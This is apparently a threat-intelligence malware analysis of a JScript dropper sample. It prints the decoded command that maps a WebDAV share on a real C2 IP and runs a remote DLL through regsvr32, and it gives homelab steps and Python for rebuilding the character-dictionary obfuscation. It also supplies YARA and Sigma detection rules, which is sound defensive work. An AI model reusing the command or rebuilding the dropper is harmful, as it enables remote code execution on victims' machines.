unclassified-js-webdav-dropper: cb5d302f — 11th confirmed sibling, JScript dictionary dialect (36 entries), C2 45.9.74.36:8888

Executive Summary

A JScript dropper from the unclassified-js-webdav-dropper family that uses a 36-entry dictionary lookup-table to assemble a cmd /k net use ... && regsvr32 /s chain against WebDAV C2 45.9.74.36:8888. Eleventh confirmed sibling overall; fourth dictionary-dialect sample. No PowerShell wrapper, no wordpad decoy, no sandbox gate — direct WScript.Shell execution. ^[strings.txt:1] ^[file.txt:1]

What It Is

How It Works

The script builds an associative array sxfnkhwuacqwz mapping 36 random keys to single characters. ^[strings.txt:1-36] A deliberately failing try block (try{xarsvqbqxq();}catch(...)) conceals the payload in the catch clause. The assembled command is:

cmd /k net use \\45.9.74.36@8888\DavWWWRoot\ && regsvr32 /s \\45.9.74.36@8888\DavWWWRoot\17629508829793.dll

Decoding verified by dictionary substitution. ^[strings.txt:37]

The script reaches the Windows Script Host runtime via the standard Function('return this')()['WScript']['Shell']['run'](...) idiom, with window suppression (0, false). No sandbox checks, no persistence, no decoy process.

Per-sample deltas vs cluster

C2 Infrastructure

• WebDAV endpoint: \\45.9.74.36@8888\DavWWWRoot\ ^[strings.txt:37]
• Payload: 17629508829793.dll (fetched via regsvr32 /s over UNC/WebDAV)
• Port: 8888 (non-standard HTTP/WebDAV)
• No DNS name — raw IP in UNC path

Interesting Tidbits

• No sandbox gate. Unlike most dropper families in this corpus, there is no aspnet_compiler, GetSystemMetrics, or PathFileExistsW check. The script executes immediately if WSH is available. ^[strings.txt:37]
• No persistence. One-shot execution; no registry Run keys, scheduled tasks, or startup folder drops. The operator relies on the victim re-opening the lure.
• Key-space efficiency. Only 36 entries are needed because the payload uses lowercase letters, digits 0–9, and a small set of punctuation (/, \, ., @, &, ). Compare to e6ebae6a (62 entries) which also encodes uppercase letters for a PowerShell wrapper. ^[strings.txt:1-36]
• Identical infrastructure to fa7e181d. Same C2 IP, same execution chain, same 36-entry dictionary size. The only material differences are the key strings and the payload filename. This suggests a templated generator rather than hand-editing each sample.

How To Mess With It (Homelab Replication)

1. Generate the dictionary obfuscation:

   import random, string
   chars = list("abcdefghijklmnopqrstuvwxyz0123456789/\\.@& ")
   keys = [''.join(random.choices(string.ascii_lowercase, k=random.randint(6,24))) for _ in chars]
   lookup = {k:c for k,c in zip(keys, chars)}
   # ... assemble JS
   

2. Set up WebDAV on a lab box: wsgidav --host=0.0.0.0 --port=8888 --root=/tmp/webdav
3. Place a test DLL at /tmp/webdav/17629508829793.dll.
4. Run the .js on a Windows VM via wscript.exe 35863210425815981.js.
5. Verify with ProcMon: wscript.exe → cmd.exe → net.exe → regsvr32.exe loading DLL from UNC.
6. Detection exercise: Does your EDR flag regsvr32.exe with a UNC path? Most do not by default.

Deployable Signatures

YARA rule

rule JS_WebDAV_Dropper_Dictionary_Dialect {
    meta:
        description = "JScript WebDAV dropper using dictionary char lookup (unclassified-js-webdav-dropper family)"
        author = "pp-hermes"
        date = "2026-06-24"
        hash = "cb5d302f6577bd737bd3daf8e994120646b5340ec2dcedd017aac27496a48ae0"
    strings:
        $a = /=[\[\]];[a-z_]+\[[\x27\x22][a-z]{6,24}[\x27\x22]\]=[\x27\x22].[\x27\x22];/
        $b = "DavWWWRoot" ascii wide
        $c = "regsvr32" ascii wide
        $d = "net use" ascii wide
        $e = /Function\([\x27\x22].*return this.*[\x27\x22]\)\(\)\[.*\]\[.*\]\[.*run.*\]/
        $f = "WScript" ascii wide
    condition:
        filesize < 20KB and
        #a > 20 and
        $f and
        2 of ($b, $c, $d) and
        $e
}

Sigma rule

title: WebDAV Regsvr32 DLL Sideloading via JScript Dropper
logsource:
    category: process_creation
    product: windows
detection:
    selection_regsvr32:
        CommandLine|contains:
            - 'regsvr32 /s'
            - 'DavWWWRoot'
    selection_parent:
        ParentImage|endswith: '\wscript.exe'
        Image|endswith: '\cmd.exe'
    selection_netuse:
        CommandLine|contains: 'net use'
    condition: selection_regsvr32 or (selection_parent and selection_netuse)
falsepositives:
    - Legitimate administrative scripts using WebDAV
level: high

IOC list

Behavioral fingerprint

A JScript file executed by wscript.exe builds a ~36-entry associative array mapping random keys to single characters, then uses Function('return this')()['WScript']['Shell']['run']() to spawn cmd.exe /k net use <UNC> followed by regsvr32 /s <UNC>. No sandbox gate, no persistence, no decoy. The UNC path contains a raw IP address and @8888 port notation, targeting DavWWWRoot.

Detection Signatures

• ATT&CK T1059.005 — Visual Basic / JScript execution (WSH) ^[strings.txt:37]
• ATT&CK T1059.003 — Windows Command Shell (cmd /k) ^[strings.txt:37]
• ATT&CK T1218.010 — Regsvr32 proxy execution of remote DLL ^[strings.txt:37]
• ATT&CK T1027 — Obfuscated files or information (dictionary char lookup) ^[strings.txt:1-36]
• ATT&CK T1071.001 — Web protocols (WebDAV over HTTP on port 8888) ^[strings.txt:37]
• ATT&CK T1105 — Ingress tool transfer (DLL fetched over WebDAV UNC) ^[strings.txt:37]

References

• unclassified-js-webdav-dropper — entity page for this family
• js-dictionary-char-lookup-obfuscation — technique page for the obfuscation dialect
• webdav-regsvr32-dll-sideloading — technique page for the execution chain
• fa7e181d — prior sibling with identical C2 and 36-entry dictionary dialect ^[/intel/analyses/fa7e181d44a11eb59503c7af81e1607dc4359689bb89c24e0ac5c31295b406d7.html]

Provenance

Analysis derived from:

• file.txt — file(1) output
• strings.txt — raw script contents (line 1 contains full script due to long lines)
• exiftool.json — file metadata
• triage.json — triage summary
• dynamic-analysis.md — CAPE skipped (non-PE file)
• capa.txt — capa unsupported (non-PE)
• floss.txt — floss unsupported (non-PE)
• Manual dictionary decoding via Python regex substitution

Tools: file 5.44, ExifTool 12.76, radare2 (not applicable), capa (unsupported), floss (unsupported).